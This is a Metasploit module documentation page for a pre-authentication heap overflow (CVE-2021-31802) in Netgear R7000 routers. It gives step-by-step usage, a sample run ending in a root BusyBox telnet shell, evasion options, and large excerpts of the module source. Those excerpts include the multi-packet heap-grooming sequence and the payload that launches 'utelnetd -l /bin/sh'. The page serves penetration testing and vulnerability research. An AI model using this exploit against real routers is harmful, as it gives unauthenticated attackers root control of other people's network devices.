Netgear R7000 backup.cgi Heap Overflow RCE - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Netgear R7000 backup.cgi Heap Overflow RCE
Module: auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
Source code: modules/auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce.rb
Disclosure date: 2021-04-21
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-31802

This module exploits a heap buffer overflow in the genie.cgi?backup.cgi page of Netgear R7000 routers running firmware version 1.0.11.116. Successful exploitation results in unauthenticated attackers gaining code execution as the root user. The exploit utilizes these privileges to enable the telnet server which allows attackers to connect to the target and execute commands as the admin user from within a BusyBox shell. Users can connect to this telnet server by running the command "telnet target IP".

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-service-down: Module may crash the service, and the service remains down.

Side Effects:

  • config-changes: Module modifies some configuration setting on the target machine.

Basic Usage

msf > use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
msf auxiliary(netgear_r7000_backup_cgi_heap_overflow_rce) > show targets
    ... a list of targets ...
msf auxiliary(netgear_r7000_backup_cgi_heap_overflow_rce) > set TARGET target-id
msf auxiliary(netgear_r7000_backup_cgi_heap_overflow_rce) > show options
    ... show and set options ...
msf auxiliary(netgear_r7000_backup_cgi_heap_overflow_rce) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Introduction

This module exploits a heap buffer overflow in the genie.cgi?backup.cgi page of Netgear R7000 routers running firmware versions 1.0.11.116 and prior. Successful exploitation results in unauthenticated attackers gaining code execution as the root user.

The exploit utilizes these privileges to enable the telnet server which allows attackers to connect to the target and execute commands as the admin user from within a BusyBox shell. Users can connect to this telnet server by running the command telnet *target IP*.

Vulnerable Application

Netgear R7000 routers running firmware version 1.0.11.116 and earlier.

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
  3. Do: set RHOSTS <RouterIP>
  4. Do: exploit
  5. Wait for the message about how to connect to the telnet shell to appear.
  6. Connect to the telnet shell by executing telnet <RouterIP>
  7. Verify that you now have a BusyBox shell running as the admin user.

Scenarios

Netgear R7000 with Firmware Version 1.0.11.116

msf6 > use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show options

Module options (auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.1.1      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > run
[*] Running module against 192.168.1.1

[*] Executing automatic check (disable AutoCheck to override)
[*] Router is a NETGEAR router (R7000)
[+] The target is vulnerable.
[*] Sending 10th and final packet...
[*] If the exploit succeeds, you should be able to connect to the telnet shell by running: telnet 192.168.1.1
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) >

And in a separate terminal shell:

 ~/git/metasploit-framework │ CVE-2021-31802 !1  telnet 192.168.1.1                                                ✔ │ 2.7.2 Ruby
Trying 192.168.1.1...
telnet: Unable to connect to remote host: Connection refused
 ~/git/metasploit-framework │ CVE-2021-31802 !2  telnet 192.168.1.1                                              1 х │ 2.7.2 Ruby
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.


BusyBox v1.7.2 (2020-12-21 13:01:11 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a
Linux R7000 2.6.36.4brcmarm+ #30 SMP PREEMPT Mon Dec 21 12:35:01 CST 2020 armv7l unknown
# id
uid=0(admin) gid=0(root)
#

Go back to menu.

Msfconsole Usage

Here is how the admin/http/netgear_r7000_backup_cgi_heap_overflow_rce auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce

msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show info

       Name: Netgear R7000 backup.cgi Heap Overflow RCE
     Module: auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-04-21

Provided by:
  colorlight2019
  SSD Disclosure
  Grant Willcox (tekwizz123)

Module side effects:
 config-changes

Module stability:
 crash-service-down

Module reliability:
 repeatable-session

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    80               yes       The target port (TCP)
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Description:
  This module exploits a heap buffer overflow in the 
  genie.cgi?backup.cgi page of Netgear R7000 routers running firmware 
  version 1.0.11.116. Successful exploitation results in 
  unauthenticated attackers gaining code execution as the root user. 
  The exploit utilizes these privileges to enable the telnet server 
  which allows attackers to connect to the target and execute commands 
  as the admin user from within a BusyBox shell. Users can connect to 
  this telnet server by running the command "telnet *target IP*".

References:
  https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r7000-httpd-preauth-rce/
  https://nvd.nist.gov/vuln/detail/CVE-2021-31802

Module Options

This is a complete list of options available in the admin/http/netgear_r7000_backup_cgi_heap_overflow_rce auxiliary module:

msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show options

Module options (auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/netgear_r7000_backup_cgi_heap_overflow_rce auxiliary module:

msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show advanced

Module advanced options (auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   AutoCheck             true                                                no        Run check before exploit
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit          false                                               no        Override check result
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/netgear_r7000_backup_cgi_heap_overflow_rce module can do:

msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/netgear_r7000_backup_cgi_heap_overflow_rce auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection timed out.

Here is a relevant code snippet related to the "Connection timed out." error message:

63:	  end
64:	
65:	  def retrieve_firmware_version
66:	    res = send_request_cgi({ 'uri' => '/currentsetting.htm' })
67:	    if res.nil?
68:	      return Exploit::CheckCode::Unknown('Connection timed out.')
69:	    end
70:	
71:	    data = res.to_s
72:	    firmware_version = data.match(/Firmware=V(\d+\.\d+\.\d+\.\d+)(_(\d+\.\d+\.\d+))?/)
73:	    if firmware_version.nil?

Could not retrieve firmware version!

Here is a relevant code snippet related to the "Could not retrieve firmware version!" error message:

69:	    end
70:	
71:	    data = res.to_s
72:	    firmware_version = data.match(/Firmware=V(\d+\.\d+\.\d+\.\d+)(_(\d+\.\d+\.\d+))?/)
73:	    if firmware_version.nil?
74:	      return Exploit::CheckCode::Unknown('Could not retrieve firmware version!')
75:	    end
76:	
77:	    firmware_version
78:	  end
79:

Connection timed out.

Here is a relevant code snippet related to the "Connection timed out." error message:

89:	
90:	  # Requests the login page which discloses the hardware. If it's an R7000 router, check if the firmware version is vulnerable.
91:	  def check
92:	    res = send_request_cgi({ 'uri' => '/' })
93:	    if res.nil?
94:	      return Exploit::CheckCode::Unknown('Connection timed out.')
95:	    end
96:	
97:	    # Checks for the `WWW-Authenticate` header in the response
98:	    if res.headers['WWW-Authenticate']
99:	      data = res.to_s

Router is not a NETGEAR router

Here is a relevant code snippet related to the "Router is not a NETGEAR router" error message:

104:	      if model == 'R7000' && check_vuln_firmware
105:	        return Exploit::CheckCode::Vulnerable
106:	      end
107:	
108:	    else
109:	      print_error('Router is not a NETGEAR router')
110:	    end
111:	    return Exploit::CheckCode::Safe
112:	  end
113:	
114:	  def fake_logins_to_ease_heap

The target R7000 router responded prematurely on the first packet, something wrong happened!

Here is a relevant code snippet related to the "The target R7000 router responded prematurely on the first packet, something wrong happened!" error message:

156:	      'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },
157:	      'data' => send_data
158:	    })
159:	
160:	    if !res.nil?
161:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded prematurely on the first packet, something wrong happened!')
162:	    end
163:	
164:	    post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(439)}\""]
165:	    send_data = post_data.to_s
166:	    send_data.sub!(/a\r\n--#{post_data.bound}--\r\n/, Rex::Text.rand_text_alpha(1))

The target R7000 router responded prematurely on the second packet, something wrong happened!

Here is a relevant code snippet related to the "The target R7000 router responded prematurely on the second packet, something wrong happened!" error message:

173:	      'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },
174:	      'data' => send_data
175:	    })
176:	
177:	    if !res.nil?
178:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded prematurely on the second packet, something wrong happened!')
179:	    end
180:	
181:	    post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(447)}\""]
182:	    post_data.parts[0].content = "#{Rex::Text.rand_text_alpha(24)}\xC0\x03\x00\x00\x28\x00\x00\x00"
183:	    send_data = post_data.to_s

The target R7000 router responded with a non 200 OK response on the third packet!

Here is a relevant code snippet related to the "The target R7000 router responded with a non 200 OK response on the third packet!" error message:

191:	      'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },
192:	      'data' => send_data
193:	    })
194:	
195:	    if res.code != 200
196:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the third packet!')
197:	    end
198:	
199:	    post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]
200:	    post_data.parts[0].content = "\xA0\x03\x00\x00#{"\x20" * 12}#{Rex::Text.rand_text_alpha(924)}\x09\x00\x00\x00"
201:	    send_data = post_data.to_s

The target R7000 router responded with a non 200 OK response on the fourth packet!

Here is a relevant code snippet related to the "The target R7000 router responded with a non 200 OK response on the fourth packet!" error message:

209:	      'headers' => { 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}\r\n#{Rex::Text.rand_text_alpha(512)}: #{Rex::Text.rand_text_alpha(9)}" },
210:	      'data' => send_data
211:	    })
212:	
213:	    if res.code != 200
214:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the fourth packet!')
215:	    end
216:	
217:	    post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(447)}\""]
218:	    post_data.parts[0].content = ''
219:	    send_data = post_data.to_s

The target R7000 router responded prematurely on the fifth packet, something wrong happened!

Here is a relevant code snippet related to the "The target R7000 router responded prematurely on the fifth packet, something wrong happened!" error message:

227:	      'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },
228:	      'data' => send_data
229:	    })
230:	
231:	    if !res.nil?
232:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded prematurely on the fifth packet, something wrong happened!')
233:	    end
234:	
235:	    post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]
236:	    post_data.parts[0].content = "\x20\x00\x00\x00#{"\x20" * 12}a"
237:	    send_data = post_data.to_s

The target R7000 router responded with a non 200 OK response on the sixth packet!

Here is a relevant code snippet related to the "The target R7000 router responded with a non 200 OK response on the sixth packet!" error message:

245:	      'headers' => { 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}\r\n#{Rex::Text.rand_text_alpha(512)}: #{Rex::Text.rand_text_alpha(9)}" },
246:	      'data' => send_data
247:	    })
248:	
249:	    if res.code != 200
250:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the sixth packet!')
251:	    end
252:	
253:	    post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]
254:	    post_data.parts[0].content = "\x48\x00\x00\x00#{"\x20" * 12}a"
255:	    send_data = post_data.to_s

The target R7000 router responded with a non 200 OK response on the seventh packet!

Here is a relevant code snippet related to the "The target R7000 router responded with a non 200 OK response on the seventh packet!" error message:

263:	      'headers' => { 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}\r\n#{Rex::Text.rand_text_alpha(512)}: #{Rex::Text.rand_text_alpha(9)}" },
264:	      'data' => send_data
265:	    })
266:	
267:	    if res.code != 200
268:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the seventh packet!')
269:	    end
270:	
271:	    post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(439)}\""]
272:	    post_data.parts[0].content = "#{Rex::Text.rand_text_alpha(36)}\x51\x00\x00\x00\xd8\x08\x12\x00"
273:	    send_data = post_data.to_s

The target R7000 router responded with a non 200 OK response on the eighth packet!

Here is a relevant code snippet related to the "The target R7000 router responded with a non 200 OK response on the eighth packet!" error message:

281:	      'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },
282:	      'data' => send_data
283:	    })
284:	
285:	    if res.code != 200
286:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the eighth packet!')
287:	    end
288:	
289:	    post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(399)}\""]
290:	    post_data.parts[0].content = ''
291:	    send_data = post_data.to_s

The target R7000 router responded on the ninth packet!

Here is a relevant code snippet related to the "The target R7000 router responded on the ninth packet!" error message:

299:	      'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },
300:	      'data' => send_data
301:	    })
302:	
303:	    if !res.nil?
304:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router responded on the ninth packet!')
305:	    end
306:	
307:	    post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]
308:	    post_data.parts[0].content = "\x48\x00\x00\x00#{"\x20" * 12}utelnetd -l /bin/sh#{"\x00" * 45}\x04\xe8\x00\x00"
309:	    send_data = post_data.to_s

Sorry but at this point in time only version 1.0.11.116 of the R7000 firmware is exploitable with this module!

Here is a relevant code snippet related to the "Sorry but at this point in time only version 1.0.11.116 of the R7000 firmware is exploitable with this module!" error message:

326:	  def run
327:	    firmware_version = retrieve_firmware_version
328:	
329:	    firmware_version = Rex::Version.new(firmware_version[1])
330:	    if firmware_version != Rex::Version.new('1.0.11.116')
331:	      fail_with(Failure::NoTarget, 'Sorry but at this point in time only version 1.0.11.116 of the R7000 firmware is exploitable with this module!')
332:	    end
333:	
334:	    unless fake_logins_to_ease_heap # Set the heap to a more predictable state via a series of fake logins.
335:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router did not send us the expected 200 OK response after 3 invalid login attempts!')
336:	    end

The target R7000 router did not send us the expected 200 OK response after 3 invalid login attempts!

Here is a relevant code snippet related to the "The target R7000 router did not send us the expected 200 OK response after 3 invalid login attempts!" error message:

330:	    if firmware_version != Rex::Version.new('1.0.11.116')
331:	      fail_with(Failure::NoTarget, 'Sorry but at this point in time only version 1.0.11.116 of the R7000 firmware is exploitable with this module!')
332:	    end
333:	
334:	    unless fake_logins_to_ease_heap # Set the heap to a more predictable state via a series of fake logins.
335:	      fail_with(Failure::UnexpectedReply, 'The target R7000 router did not send us the expected 200 OK response after 3 invalid login attempts!')
336:	    end
337:	
338:	    send_payload
339:	  end
340:	end

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • colorlight2019
  • SSD Disclosure
  • Grant Willcox (tekwizz123)

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.